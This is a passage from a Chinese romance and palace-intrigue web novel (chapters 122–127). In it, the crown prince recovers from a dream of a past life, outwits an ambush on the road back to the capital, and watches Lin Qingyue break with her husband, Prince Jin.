“阿灼,本座的头好疼,你过来给本座揉揉。”
那女子分明长了张和林倾月一模一样的面容,可她眉宇间却满是暴怒的神色,王座下不知何时也溅满了血液。
宫人跪在地上,仔细地擦拭的那些血液。其中一人站起来时,一个不慎被地上的水渍滑倒。
那宫人吓得脸色大变,一个轱辘爬起来,趴在地上瑟瑟发抖的求饶:“陛下饶命,奴婢不是故意的!”
王座上的女子,不耐烦地睁开了眼睛,露出一抹杀气:“这点小事都办不好,要你何用?拖下去杀……”
“陛下!”东方起听到自己开口了,“她也不是故意的,何必动怒?头疼是吗?我给你按按。”
女子眼底杀气瞬间熄灭:“都滚。”
宫人们如蒙大赦,瞬间便退了个干净。
金碧辉煌大殿被打扫得一尘不染,带着淡淡的芬芳。
东方起走到她的身边,她便熟稔地靠了过来,慵懒的声音轻轻地唤着他:“阿灼、阿灼……”
阿灼是谁?
东方起有些茫然,忽然又想起来了——这是陛下给我起的名字。
那我又是谁?
第122章 殿下到底梦到了什么?
东方起的思绪起初还有些乱,可当他垂眸看到怀里女子水汪汪的眼眸时候,所有的理智和认知都消失了。
他忘了自己是齐国的太子殿下,忘了赤影之地发生的事情。
只记得自己叫阿灼,是陛下的挚爱、云宫最受宠的男子。
拥着她柔软的身躯,他轻按她的太阳穴,那熟稔的触感,仿佛已重复过千次万次。
他也像从前那样,劝谏着:“陛下每次杀人之后都会头痛欲裂,为什么还要杀人呢?”
怀里的女帝闭着眼睛问:“你不想本座杀人?”
“我只是不想看到陛下被头痛困扰。”
“等那些恶人都杀光了,本座就听阿灼的话,不再随便杀人。”
忽然,画面一转到了寝殿。
银红软纱垂落如浪,层层叠叠间,帐中交叠的身影若隐若现。
阿灼修长的手指轻抚过她的红唇,低唤:“陛下……陛下……”
每一声都牵着心口的钝痛,像丢过什么,又像从未拥有过。指尖未离,他已俯身覆上那片柔软,灼热带着不容抗拒的力道,将两人的呼吸揉碎在银红交织的光影里。
情到深处,怀中的女子也在尽情地回应。
微风卷动软纱,星光乍现,淌了满室温柔。
唇齿交缠的缝隙间,意乱情迷的痴缠里,一声呢喃溢出:“灼华……”
刹那间,星光散尽,柔情退去。
他猛地推开怀中之人,眼底翻涌着不甘:“陛下唤我什么?”
面前女子青丝垂落,颊上绯色未褪,眼神却在变,褪去了意乱情迷,染上几分哀伤。
她抬手,想抚他的脸。
阿灼挥开她的手,声音发颤:“你透过我这张脸,看到的到底是谁?这么多年相依相伴,又算什么?陛下,你心里何曾有过阿灼?”
她眼底的柔情彻底淡去,只剩讥讽的笑:“你早该知道。阿灼,你从来只是他的替身。若不是他,你以为你凭什么能留在本座身边?”
……
梦境之外,广袤的北疆大地铺展着无尽绿意。一个个蒙古包像刚绽的白莲花,散落在碧茵茵的草地上。
其中一顶毡帐内,林倾月与谢守正正满脸忧色地守在东方起身侧。
自赤影之地出来后,他便一直沉在昏迷里。林倾月将人带回北疆时,原以为让他歇上两日,等魂魄渐稳便能苏醒。
可如今已过了三日,东方起依旧毫无转醒的迹象。
谢守正急得茶饭不思、彻夜难眠,可此刻除了焦心外还有些疑惑。
“林副使,殿下到底梦到了什么?嘴里还一直念叨着陛下、陛下?”
林倾月思索了片刻,然后得出了结论:“你家殿下可能是……想他爹了吧?真没想到,他这么大人了,还如此恋父。”
谢守正说:“也对。除了圣上之外,也没别人敢用‘陛下’这个称呼。可殿下为什么不直接喊父皇,要像我们一样喊陛下?”
林倾月摇头:“不知道。”
谢守正忽然惊呼一声:“殿下哭了!”
林倾月转眸望去,见东方起眼角缓缓沁出两滴清泪。
她下意识的抬手去接,那晶莹泪珠便落在掌心,微凉的触感漫开时,她心头轻轻一颤——仿佛那滴泪径直坠进了心湖,漾开圈圈难言的悲戚。
谢守正忽然也哭了起来:“我们家殿下一贯乐观,从小就是不是爱哭的孩子。这到底梦到了啥呀,怎么就难过能这样。哎哟,真是心疼死我了!”
林倾月道:“梦由心起,他此刻梦境里发生一定是让他刻骨铭心的事。你不妨想想,你家殿下有什么伤心之事?”
谢守正想了想,道:“殿下从小就不爱哭,也就是先皇后去世那几日哭的悲伤。所以殿下这是……想娘了?”
林倾月:“……”
敢情这东方起不仅有恋父情节,还有恋母情节。
谢守正又问:“殿下到底什么时候能醒?这都三天了,再不醒脑子会不会睡傻了?就算脑子不傻,不吃不喝的,也不是回事啊!”
说着说着,谢守正就悲从心来,忍不住又抹起了眼泪:“我苦命的殿下啊,您快点醒来吧。小米粥一直在炉子上煨着,还有羊奶、牛肉,小灰我都准备好了,只等您醒来好吃。”
忽然,林倾月推了他一把:“别嚎丧了,你家殿下好像要醒了!”
谢守正哭声骤止,泪眼朦胧中望去,见东方起眼帘下的眼珠轻轻转动。
墨染般的睫毛如蝶翼轻颤,随着眼眸缓缓睁开,漆黑的瞳仁里还蒙着层茫然,定定落在林倾月脸上。
现实与梦境在意识里纠缠,让他一时混沌。
方才梦中最后一幕仍在眼前:恢宏宫殿轰然坍塌,她的身影被火海吞噬。
那份心痛如裂帛般尖锐,他想挽救却无能为力,唯剩与她一同殉入火海的念头。
此刻望着林倾月的面容渐次清晰,前世今生的碎片在心头翻涌,最终凝成一滴清泪,顺着眼角悄然滚落。
他下意识抬起手,指尖带着穿透前世今生、刺破现实与虚幻的执念,想去触碰她的脸颊。可指尖尚未抵达,便被一只粗糙的大手抢先攥住。
谢守正紧握着东方起的手,嚎啕大哭:“殿下您终于醒了!呜呜……你不知道我有多担心、多害怕,怕你一睡不醒就此一命呜呼。呜呜……你要是真有个三长两短,我就跟着殉葬去!生是你的仆,死了也得伺候你啊!”
东方起本还陷在迷茫混沌里,被这声嚎哭惊得意识骤然回笼,方才的梦境如潮水般退去。
他想抽回手,可浑身力气虚浮,几番挣动竟没能甩开那滚烫的掌心。
“小灰你松手!拉拉扯扯成何体统!小灰,你的鼻涕眼泪都蹭到本宫的手上了,松开!快松开!”
最后还是林倾月出言解围:“谢大人,你不是还煨了小米粥吗?去端来吧,晚了怕要糊锅。”
谢守正这才想起来他家殿下还饿着肚子。
“殿下且等等,我这就去给你端吃的,你肯定饿坏了。还好我贴心,早有准备。”
说话间,他还就着东方起的袖子擦去了眼泪鼻涕,然后在东方起愤怒眼神里跑出了帐篷。
东方起幽幽地叹息一声,对林倾月道:“让你见笑了,抱歉。”
林倾月道:“没什么,已经习惯了。对了,你这几天到底梦见了什么?”
不提倒好,一问之下东方起的脸上顿时飞起一抹绯红。
第123章 荒唐一梦,虚实难辨
“没什么。被小灰一嗓子嚎得都……都忘记了。”他耳垂微红,尴尬地转过头,不敢去看林倾月的脸。
梦境里的画面大多已模糊,唯独床榻间那片缠缠绵绵的温热,反复地在脑海里闪现。唇齿交缠的酥麻,香艳得化不开的气息,灼得他浑身血脉滚烫。
林清月的指尖忽然贴上他的额头,微凉的触感漫过肌肤时,竟与梦里的香艳烫在了一处。
东方起的呼吸骤然滞住,喉结不受控地滚了滚。
他像被烫到般突然攥住她的手腕:“你做什么?”
林清月奇怪地看着东方起:“看看你恢复得如何。怎的反应这样大?”
他的手指一寸寸松了,却在彻底放开前,无意识地摩挲了下那片温软。
“许是意识还混乱着,失礼了。”他声音里藏着连自己都未察觉的喑哑。
林倾月自然不会在意这些许小事,道:“你的魂魄已经稳固,只是你昏睡了几天,气血虚弱。你再休息一会儿,等一下吃点东西,应该就能恢复了。”
东方起混乱的情绪被强行压了回去,声音找回了原有的平静:“这几天辛苦你了,多谢。”
林倾月笑笑:“我也多谢你。在赤影之地的时候,你都是泥菩萨过河自身难保,居然还不忘来救我。不过也还好你及时来了,找回了自己的天魂。要不然,万一再被其他的怪物给抓走,又得费不少时间去寻,中间还不知道会生出多少变化。行了你先休息吧,我就不打扰了。”
东方起没有挽留她,也无法挽留。只是眼睁睁地看着她转身离去。
毡帐的帘子一动,她的人已经消失。
心口陡然空落,说不清的闷堵漫上来。
梦里的画面又撞进脑海,梦里的画面又撞进脑海,自己竟和林副使……是何时起,悄悄动了不该有的心思?
可梦里林副使分明是女帝,自己却是她的后妃,还是旁人的替身!荒唐得让他脸红心跳,抬手就给了自己一巴掌。
“东方起啊东方起!你怎能如此龌龊?她是晋王妃,还对你有救命之恩,你对她只能心存感激!”
“即便……即便真的生出了爱慕之情,也该等她和离之后再论其他。你怎能在梦里那般辱她?”
可梦从来不受人控制,只会放大自己的欲望。
所以在梦里,他才会那样对她。而潜意识里又深知,他们之间存在某种不可逾越的雷池,所以梦里的她才会以帝王的想象出现。
自己之所以会被当成替身,肯定也是潜意识在警告自己,他们之间还横着一个东方宴!
如此一想,梦境里的荒唐之事居然都能解释得通了。
“万幸林副使没看到我的梦。嗯,绝对不能叫她知道!”
这时,谢守正端着小米粥进了帐篷,扶着东方起坐起来,又贴心地给他披上外衫后,才端起小米粥要喂他吃。
东方起赶忙接过碗勺:“我自己来。”
谢守正哦了一声,蹲在一边认真地看着东方起吃饭。
等他吃完,又赶忙帮着收好碗,并扶着他躺下。
东方起道:“小灰,这几天你也辛苦了。”
谢守正道:“殿下说的哪里话?服侍你是理所应当的,何谈辛苦?殿下你是不知道哇,那天看到你被林副使背出来,脸色白得跟死了一样,我都差点给吓死了。”
东方起赶忙问:“你是说,是林副使把我背出来的?”
谢守正点点头:“对啊。林副使当时的脸色也不好,可她完全顾不得休息,上了马车上就吩咐我驾车离去。她自己则在车厢里给您灌输灵力,为您安魂去除邪气。”
“还别说,林副使真是挺讲义气的。到了这里之后,她还和我轮班守着你。就冲着这一点,回头她要是想要我鉴邪正使的职务,我情愿让贤!总之,只要是对殿下有帮助的人,我都愿意帮殿下笼络,哪怕降级都不要紧。我对殿下的衷心,日月可鉴,苍天可表……”
“好了小灰,再啰嗦我要赶你出去了!”东方起忍不住打断了谢守正的话。
谢守正赶忙住嘴,可停不下片刻,又忍不住说:“殿下,你说除了升官,还要奖励林副使些什么?她对殿下也跟我一样衷心。把您救回来后,她凡事亲力亲为,连您身上的衣服……”
东方起闻言心头一惊:“难道我的衣服是她换的?”
他此刻身上穿着轻薄的里衣,不是在赤影之地的那一身。所以林副使她……
“衣服是我换的!”谢守正的话,及时将东方起走偏的想法给修正了过来。
“不过衣服是林副使帮你挑的,她说这套绵软,穿着睡觉舒服。我想说的就是这个意思——哎,殿下您该不会是想歪了吧?”
东方起忍不住瞪了他一眼:“分明是你的话充满了歧义!以后如果不能好好说话,就闭嘴!”
谢守正挠了挠头:“我一直都在好好说话的啊。殿下你自己想歪了,怎可怪我呢?再说了,用脚指头想也知道,林副使和您男女有别,怎么也不会做那等越矩之事。”
“小灰,出去吧。我要休息了。”
东方起已经没有了再继续聊天的想法。
休养了两天之后,东方起的身体终于恢复,也该踏上回京城的路了。
来的路上,除了碰到一些诡案之外,并没有惊动其他人。
回去的沿途,却没有那么顺利。
东林府一事闹出那么大的动静,想必东方起的行程也很难瞒得住。
谢守正也明白这一点,回去的路上,不再让东方起骑马或者当马夫了。而是自己戴着斗笠和伪装,亲自驾车,一路警惕地观察周围的情况。
东方起和林倾月则坐在车厢里,悠哉游哉。
期间,林倾月还开玩笑地问谢守正:“怎么现在不要求我们避嫌了?”
来的一路上,他可是盯得死死的,嘴里天天嚷着叔嫂什么什么的。
谢守正扶正了斗笠,理所应当地道:“叔嫂同车当然不合适。但我在其中就不一样了,现在属于咱们三人同车。谁敢嚼舌根,自有我谢守正为你们二位当人证!再说了,当前情况还是殿下的安危重要,殿下绝对不能再露脸了!”
林倾月道:“所以你就准备把他藏在车厢里,一路拉回京城?”
谢守正道:“难道不行吗?”
林倾月道:“你回头看看你的左后方,那两个人已经跟了我们半个时辰了。”
第124章 回京
此刻他们的马车正途经某个小县城的街道上。街上人不多,但确实有两个人骑着马不远不近地尾随着。
谢守正顿时吃了一惊:“还真是!这么快就咬上来了?真是可恶!”
他不动声色地将马车拐到前面的路口,等那两人追来时,突袭出手将那两人拿下,喝问道:“说,谁派你们来的?”
那两人的手都被他擒着,彼此互相对视一眼,忽然两人的口里溢出黑血,抽搐倒地。
谢守正吃了一惊,急忙查看时,两人都已经咽气身亡。
“居然把毒药藏在嘴里,真是够狠的。看样子应该是两个死士,不过身上没有任何能证明身份的东西。”
东方起挑开车帘的,淡淡地瞥了一眼:“能派出死士,自然不可能留下痕迹。但这也说明,我们确实被人盯上了。”
谢守正顿时就紧张了起来:“不行,咱们不能在轻车简从了。万一他们设了埋伏,可就不好了。再有半天时间,就到了东林府地界。骆国公应该还在,不如请他派出人马护送殿下回京。”
东方起点头:“可以。”
于是,谢守正就驾着马车一路疾驰,赶在天黑之前,到了东林府。
骆国公还在此地,得知东方起的情况后,一方面为他的康复而高兴,另一方面又忧心他的安全。
最终一番商量之后,骆国公派出两千人,护送东方起浩浩荡荡返回京城。
既然太子早晚要归位,既然身份已经藏不住了,那就索性不必再藏。
来时静悄悄,归时声势浩荡。
所过州县无不严阵以待,等着接驾。
但东方起并不想扰乱地方安宁,每至一城只借道不住宿。到了晚上,士兵们就近扎营,他则住在马车里,不轻易露面。
沿途的官员想要求见,也是一概拒绝。
人数多确实安全一些了,缺点也很明显,就是行军速度慢。
原本轻车简从,十多天就能到达,如今多了一倍的时间。
这天,太子銮驾,浩浩荡荡到了一峡谷前面。
那峡谷,名叫一线峡谷,下方道路崎岖狭窄。一次只能通过一车、一马。因此,也被称为咽喉之地。
只要过了这里,再走一天一夜,便可抵达京城地界。
此刻,暮色落下,远处连绵的山峰像一头蛰伏的巨兽随时会择人而噬。
千人的护驾队伍群山的衬托下,犹如一片缓慢前行的蝼蚁。
道了一线峡前,车马停下。队伍分成两列,一队人马在附近查探,一队人马就近休息。
而东方起的马车被护在队伍的最中央。
“殿下,已到一线峡前。请殿下移步下车。”领头的少年将军骆青禀报。
骆青是骆国公的长子,也是东方起的表弟。
齐国的节度使有驻守一方的职责,不能随意进京。骆国公不好挪地方,就派了长子带队护卫。
车里无人应答,倒是林倾月在车外应声:“骆将军稍等,殿下更衣呢。”
骆青点头,静立车旁等候。
片刻后车帘一动,一个士兵装束的人跳下来,头盔压得极低,与骆青对视一眼便快步汇入军队。
借着夜色,加之铠甲统一,除了少数熟人,谁也分不清哪个是东方起。
这是骆青前日献上的计策,为防途经峡谷时遭埋伏。
只要混进大部队,除非全歼这两千人,否则休想找到东方起。
“全体,出发!”骆青一声令下,千人的队伍迅速列队,进入了一线峡谷。
林倾月也准备跟着队伍进去,忽然感应到了什么,一抬头就看到峡谷上方的峰顶有人影晃动。
“果然有埋伏!”
她纵身一跃,身如轻燕,“嗖嗖”几下,就已经跳到数百米高的峡谷上。
前方的几道人影也觉察到她,运气轻功转身奔走。
林倾月追了几步,又恐会是调虎离山之计,正要回撤的时候,却听一声熟悉声音唤她:“倾月。”
林倾月脚步一顿,转头就见身后闪出两队人马,橘色火把骤然亮起。
队列中走出位黑衣劲装的男子,火光勾着他棱角分明的脸,寒意如霜。
“东方宴?”林倾月当即也冷下了脸,“私出京城,你可知罪?”
东方宴抿了抿唇,眼底闪过一抹哀伤:“多日不见,你的第一句话便是要问罪本王?”
林倾月冷哼:“少说废话,你带着人马出现在这种地方,别告诉我你是来看风景的。”
东方宴道:“自然不是。倾月,太子和你在一起吗?你为了太子,一声不吭离开京城,就没有什么想和本王解释吗?”
“没有。”林倾月回答得很干脆,说完转身就要走。
可下一刻,周围却冲出百余名护卫,挡住了她的去路。
赵安在旁边好言相劝:“王妃请留步。王爷为了您,已经在这里等了好几天,日晒雨淋的,就为了接您回家。你可不能践踏王爷的一番苦心啊。”
“接我回家?”林倾月好像听到了一个莫大的笑话,“晋王殿下还真是闲得发慌啊!”
如果是之前,她这样的口气说话,势必要惹怒东方宴。
可此刻,东方宴不但不生气,语气里甚至还透着几分妥协的意味:“倾月,跟我回家吧。先前的事,都是本王错了。”
林倾月回眸冷笑:“你错了?可你凭什么认为,道个歉就能挽回一切?你可知过去的那个林倾月已经死了,死在洞房花烛夜!死在你抛下她,和情人私会的那一刻!”
东方宴自动地把她嘴里的“死”,理解为心死。
“本王是被林如珍那个贱人给欺骗了,才会将她视为救命恩人。从另一个角度上来说,本王何尝不是受害者?倾月,我们的二人都被那贱人给戏耍了!”
第125章 埋伏
“你是受害者?”林倾月嗤笑,“你居然连这种话都说得出来?没错,的确是林如珍欺骗你在先。可你但凡有点脑子,就能从诸多细枝末节中看出破绽!”
“像林如珍那种娇滴滴的弱女子,怎么可能冒着风雪,把你从城外荒野背会城门口?她有那个力气吗?”
而当初的林倾月自小干惯了农活,练就了一身的傻力气,又一腔热血,冒着被冻伤的风险,也要救人。
说到这里的时候,林倾月都深深替那傻姑娘觉得不值。若非救了东方宴,她不会阴差阳错地嫁入晋王府,更不会无故惨死。
说来说去,这都是东方宴的错!
“所以你这样眼盲心瞎的人,有什么资格说自己无辜?”
东方宴收敛了所有的傲气,垂着头静静地听训。
她的每一句话、每个指责,都像一把刀,狠狠地刺入东方宴的心脏。
眼眶不知何时红了,眼泪也不知不觉滚了出来。
“对不起……对不起……”他一遍遍道歉,深深地忏悔。
可惜,为时已晚。
林倾月不是原主,不会、也不可能替原主原谅。
她凉凉一笑,转身就要走,被东方宴的手下给拦住了。
赵安小心翼翼地道:“王妃,下面不安全。您就莫要再下去了。”
东方宴也收敛了悲伤的情绪,走到林倾月的身边说:“不管你原不原谅本王,我们都是夫妻。从今日开始,本王不会再让你受到任何伤害。”
林倾月垂眸俯视,居高临下处能看到峡谷下方,骆将军带的人马已经全部进入了峡谷。走在最前头的人马,即将要出峡谷。
而峡谷的出口处,则是一片茂密的树林。夜风吹过,树林簌簌作响。
刚才,她之所以愿意和东方宴废话,也不过是想为底下的护送军队争取些时间而已。
可此刻,看到那片树林时,她好像才反应过来:“你们在树林里设下了埋伏?”
赵安看了东方宴一眼,才解释道:“回禀王妃,那树林里不但有埋伏,还提前浇上了火油。只等峡谷里的人出来,树林里便会燃起熊熊的火焰。”
“就算退回峡谷也没用,燃烧带出的浓烟会借风势涌入峡谷内部。峡谷内部本就狭窄,浓烟滚入,里面的人都会活活呛死。”
林倾月闻言眉头微蹙:“真是好狠的手段呀。东方宴,不愧是你。”
东方宴道:“权力之争,本就残酷。你是女子,应该站在男人的身后享受太平富贵。倾月,本王为你打下一个江山如何?”
林倾月笑了:“把行刺当朝太子,说得好像要上战场似的。东方宴——”
她手指下方,问:“你的手段就是这些?太子若是有个三长两短,你以为陛下不知道是谁动的手脚?谋杀当朝太子,这是什么样大罪,你心知肚明。”
东方宴低低地笑了:“倾月你未免太小看本王了。埋伏在那里的人,乃是厉王的手下。谋杀太子的,也是厉王。”
“至于本王……本王得知太子殿下遇险,特意赶来救驾。可惜,本王还是晚到一步,只救回了晋王妃。太子,包括护送太子的军队,全部葬生火海。”
林倾月忍不住惊叹一声:“嚯,原来你打的是这样的主意!不错不错,好计策!借刀杀人,还能把自己摘得干干净净。东方宴,看来你长脑子了呀。”
东方宴听她说话的语气,感觉到有些不对劲:“你为什么一点都不紧张?你不是被派到太子身边做护卫吗?怎么……”
林倾月道:“所以你明知道我此行的任务,还要冒险来杀太子。你倒是把自己摘得干干净净了,可我呢?若任务失败,我和谢守正都难逃一死。这就是你口口声声说接我回家,要为之前的事赎罪忏悔?你就是这样忏悔赎罪的?”
东方宴道:“所以本王先找到你了!倾月你放心,本王不会让你受到任何伤害。本王会将你小心地藏好,等将来本王继承了皇位,你就是大齐唯一的皇后,本王此生的挚爱!”
“哈哈哈……”林倾月笑了,“你的爱,果然很肤浅。”
“东方宴,你爱的人从来只有你自己,所以你事事都以自己为先。即便你如今对我还有忏悔之意,可要不了多长时间,你的愧疚和爱情都会淡去。”
“东方宴,道不同不相为谋。让你的人让开,否则则别怪我下手无情。”
“王妃!”赵安还想帮忙劝说,林倾月一脚踹了过去。
“倾月!”东方宴想要去拉林倾月。
林倾月一个回身,随即长剑挥出,东方宴虽第一时间向后退去,可胸口还是被一剑划出一道浅薄的伤口。
他捂着伤口还没反应过来,林倾月的剑冷冷地抵在他的胸口:“想活,就莫要再来招惹我。”
东方宴却不肯再退:“我知道我说什么,你都未必肯再信本王的真心。可今日,除非你杀了本王。否则,本王绝不会放你下去。你看那底下,已经开始亮起火光,厉王的人就要动手了。倾月,东方起死定了!本王不能看着你去送死!”
“是吗?”林倾月勾唇微笑,“东方宴,你未免小瞧了东方起。你真以为,他混在那些士兵中间?”
"你说什么……"东方宴忽然反应过来,“莫非那里面没有东方起?”
林倾月道:“当然没有。借用北原节度使的兵力护送,不过是为了给你们立一个靶子而已。”
此刻,下面的树林已经被点燃,火光迎着风势迅速地蔓延开来,很快就成了一片火海。
而刚刚走出峡谷的士兵们惊慌大叫着退回了峡谷内部。
东方宴心中暗叹一声可惜,又讥讽地道:“世人都说,太子殿下仁义。可今晚,他为了让自己脱身,却把这两千士兵当成活靶子,被浓烟熏死在峡谷当中。当真是仁义的很那!”
话因刚落,究竟下方又出现一队人马,以迅雷不及掩耳的速度奔袭而来,将尸埋伏在树林外的人团团为主。
埋伏的人,猝不及防,再加上身后又是浓烟烈火退无可退,很快就被一举那货。
大火还在燃烧,浓烟从远处飘到了山顶,闻着都有些呛人。
到了这一刻,东方宴彻底看懂了一切:“螳螂捕蝉,黄雀在后。原来如此!东方起,本王当真是小瞧了他。”
第126章 螳螂捕蝉黄雀在后
事实上,从北疆回来的路上,东方起便制定好了回京的路线和策略。
他清楚地知道,先前东林府一案之后,自己的行踪肯定会引来诸多怀疑。
京城那些虎视眈眈,想要取而代之的王爷们,谁也不愿让他活着回来。
即便有北原节度使的兵马护送,他们也不会放过刺杀的机会。
而一线天峡谷,是出入京城的必经之路,又是最便于埋伏的地方。
东方起和林倾月猜测这里势必会遇到伏兵。
于是在东林府的时候,东方起和谢守正一起,乔装离开。并提前到了一线天峡谷的前头,和齐昭帝派来援救的人手汇合在一起。
只等伏兵行动,他们再来个螳螂捕蝉,黄雀在后,一举拿下叛乱谋反的人。
至于峡谷里的两千卫兵,此刻也没有被浓烟熏呛到。
这种浓烟,对于普通人来说,确实伤害很大。可林倾月提前画了两千张避火符,分给众人。
所以此刻,他们不但没有受到烟熏火燎的伤害,还十分勇猛地冲出了峡谷,和东方起、谢守正等人形成了合围之势。
不过只是顷刻间,叛军被拿下,树林的火也被控制住。
而从头到尾,东方起这边未损一人。
林倾月笑盈盈地问东方宴:“现在你还要拦着我吗?”
东方宴满心不甘地叹了口气:“走吧,本王随你一同去见太子殿下。”
一线天峡谷外,树林的大火已经被扑灭,只余下青烟缭绕。
谢守正按着叛军的首领质问:“说,谁派你们来伏击太子殿下了的?”
那人张开口,正要咬破口中含着的毒药,却被谢守正抢先一步卸掉了他的下颌骨。
抠出他嘴里的毒药后,谢守正冷笑:“这种伎俩用一次就够了,真当我拿你们这些死士没办法?伏击太子殿下可是诛九族的大罪,你们自己不想活,难道还想连累家人?供出幕后主使,戴罪立功,免得九族遭罪!”
那人被卸掉了下颌骨痛得浑身颤抖,嘴里含含糊糊地狡辩:“没人指使,我们只是附近的强盗。也不知道什么太子殿下。”
骆青过来狠狠踹了那人一脚:“谢大人无需多费口舌。我们军中,有的是折磨人的法子!”
这二人一门心思想要挖出幕后主使。
而东方起四处查看,不见林倾月的身影,问骆青:“林副使呢?”
骆青也才想起林倾月,一边环顾左右,一边道:“刚才进峡谷的时候,还看到林副使在查看周围的情况。我还以为她自己会跟上来,怎么这会儿不见人了?”
东方起心头一慌,赶忙就要回去找人,却见峡谷里走出一队人马来。
当先一人,赫然正是晋王东方宴,而林倾月就在他身边。脸上带着一如往昔的不羁笑容。
看到东方起时,她抬手挥了挥,算是打招呼了。
东方起看到林倾月安全无虞,方才稍稍放心。
再看向东方宴时,眼神顿时就冷了下来。
东方宴则是毫不畏惧地迎上东方起的目光,眼底没什么波澜,只是心中稍有遗憾:真可惜,没看到你死。
下一刻,东方宴眸光微敛,躬身行礼:“臣东方宴,拜见太子殿下!”
不管内心如何不甘,不管平常多么桀骜不驯,此刻面对齐国的太子殿下,东方宴必须要执君臣之礼。
东方起的目光越过东方宴落在了林倾月的身上。
明明没有说话,可林倾月还是能从他的眼神中读懂关切之意。
她摇了摇头,示意自己无碍。
东方起点了点头,这才慢悠悠地开口:“晋王免礼。”
谢守正刚才没有问出幕后指使者,此刻看到东方宴主动出现,立马怀疑上他:“晋王殿下,你不是在京城吗?为什么会出现在这里?难道峡谷外的伏兵,是你的杰作?”
东方宴道:“谢大人,请慎言。本王是来救驾的。”
谢守正冷笑:“所有的危机都解除了,王爷你才姗姗来迟。这叫救驾?骗鬼去吧!”
东方宴并不在意谢守正的无理,对太子道:“臣这里有厉王的谋反证据!”
说着,从袖子里掏出一封书信呈送给东方起。
“这是厉王和其党羽通信往来的亲笔密函,授意党羽派出死士截杀太子殿下。由于此事事关重大,臣带着一队护卫紧急出京接应。所幸殿下吉人天相,逢凶化吉!”
林倾月闻言,忍不住向东方宴望来:
难怪他坐山观虎斗,原来早就掌握了厉王谋害太子的证据。若是厉王成功了,东方宴再亮出证据给厉王定罪。
若是太子赢了,那他不但能把自己摘干净,还能立功。
果然,不被林如珍蛊惑的时候,这人还是有点脑子的。
第127章 回京了
东方起把刚才晋王提交的证据丢给了谢守正,下令道:“回京!”
有晋王在,骆青丝毫不敢放松,亲自给东方起牵来了马:“殿下请上马!”
谢守正也紧紧护在东方起身旁,警惕地看着晋王。
东方起抬眸朝林倾月望来:“林副使,我们走。”
不等林倾月说话,东方宴便抢先道:“不劳太子费心,倾月是臣的王妃,自当跟着臣的车驾一道走。”
赵安不知从哪里牵来了马车,对林倾月道:“王妃,王爷怕您辛苦,提前让奴才备好了马车。您请上车。”
东方起扫了一眼马车,道:“林副使是本宫的护卫,在回京之前,职务没有卸下,自然要护在本宫身旁,寸步不离!”
最后那四个字,他加重了语气。
“小灰,我们的马车呢?”
谢守正赶忙道:“在在在,来人把马车赶过来!”
东方宴不甘示弱:“倾月是晋王妃,和太子殿下叔嫂有别,理应避嫌。”
东方起毫不客气地回怼:“国事大于家事,林副使!”
“太子殿下!”东方宴走近了几步,告诫道,“太子莫忘了,你的身份!”
东方起轻笑:“晋王也别忘了自己的身份。”
刚才还能维系表面和平,此刻两人间的氛围已经波涛汹涌,暗藏杀气。
身为男人,东方宴一下子就看出太子对自家王妃非同寻常。男人的自尊不允许任何人践踏,哪怕是太子也不行。
而东方起一早就知道,林倾月和东方宴关系不好,甚至屡屡敌对。
之前作为猫的时候,他没有办法保护她,现在恢复了太子身份,就不允许任何人伤害她。
两人正暗自较劲的时候,忽听马嘶长鸣,谢守正大喊:“林副使你咋一个人先走了呢?”
林倾月一人一马,已经消失在茫茫夜色中。
东方宴在后面大喊:“倾月你等等本王,本王还有话要和你说!”
而后也翻身上马。
东方起目光沉沉:从今晚的种种迹象来看,东方宴显然还没有对林副使死心。
他的心里有些烦躁:那人是犯贱吗?从前不懂得珍惜,现在又演什么虐恋情深?
京城已近在咫尺,沿途仍有多方势力暗中窥伺。
然而,一线峡伏兵惨败的消息传开,加之晋王亲迎、骆青所率军队将东方起护得密不透风,各方势力终究再不敢轻举妄动。
两天之后,太子御驾顺利抵达京城。
东方起在民间的素有威望,归来时满城百姓夹道相迎,呼声震街。
回来之后,东方起要进宫面圣。
东方宴,还有林倾月、谢守正等人都该各回各家,待到明日再随召入宫。
行至朱雀大街,皇宫已在眼前,林倾月的护送任务也将止于此。
众人睽睽之下,东方起纵有万般心绪,也只能敛于眼底。
他勒住马缰,深深地望了林倾月一眼,道了一句:“辛苦。”
话音落,他调转马头,打马入宫。
此间事了,林倾月接下来便该处理与东方宴的和离,因此不打算回晋王府。
可不回晋王府又该去哪里呢?
长宁侯府,只是她名义上的娘家,如非必要她并不想和他们有任何牵扯。
或者,先找个客栈对付一下?
正思忖间,谢守正悄然凑近,压低声音道:“朱雀街东市坊的‘澜园’,是殿下的私人庄子。他已提前命人将房屋地契悉数过户给你。殿下还说:‘女子也该有自己的家’。所以林副使,你若不想回晋王府,便回自己家去吧。”
谢守正说这话时,心里酸溜溜的。
他追随东方起多年,深知朱雀大街的澜园是太子私产中最出众的一座。
澜园地处黄金地段,占地广阔,装潢华美。原是先皇后的陪嫁,她逝后留给了太子。不仅价值连城,且意义非凡。
就这么轻易给了林副使?自己鞍前马后十几年,从未得此厚待。
哎,真真羡煞!
林倾月正愁无处安身,没想到东方起早已给她安排好了一切。
果然,小花贴心。
林倾月有没有扭捏,点了点头表示自己收下了。
东方宴在队伍那头候了许久,不见林倾月过来,转头却见她正与谢守正谈笑。
一股无名火窜上他的心头。她对谁都和颜悦色,偏对自己冷若冰霜。
这两日赶路,他稍一靠近便遭嫌弃,连开口的机会都没有,落得满肚子难堪。后来索性也不去凑她的冷脸,免得被人看了笑话。
可此刻迟迟等不到人,他终究按捺不住。罢了,谁让她是自己的王妃,谁让自己亏欠了她。
尊贵的晋王殿下纡尊降贵,打马凑到她跟前:“倾月,我们回家。”
林倾月转头瞥他一眼,语气冰冷如旧:“东方宴,我们和离吧。晋王府,我不会再回去了。”
一腔热忱,撞碎在这句“和离”上。
东方宴顿时恼怒起来:“林倾月,本王纵有不是,你总该给次挽回的机会。这一路冷战赌气,本王都让着你、包容你,你还要怎样?难不成要本王当着这么多人的面跪下来求你宽恕?”
林倾月唇角一勾,笑容淬毒:“好啊,你跪。”
“你!”东方宴果然被激怒,满脸怒容。
林倾月笑得更张扬,正想再刺他两句,他却忽然敛了火气,声音低了几分:“回去跪行吗?赵安他们都在,街边还有百姓看着,你给本王留些颜面。”
林倾月一愣,没料到他竟会应下。
若是原主,也许会心软,也许会原谅。
可惜,她不是。
“没有诚意,就滚吧。”
林倾月说着便要驾马离去,东方宴眼疾手快拽住她的缰绳:“别闹了行不行!不回晋王府,你能去哪?在晋王府里你是说一不二的女主人,本王处处让着你,你想做什么都行。”
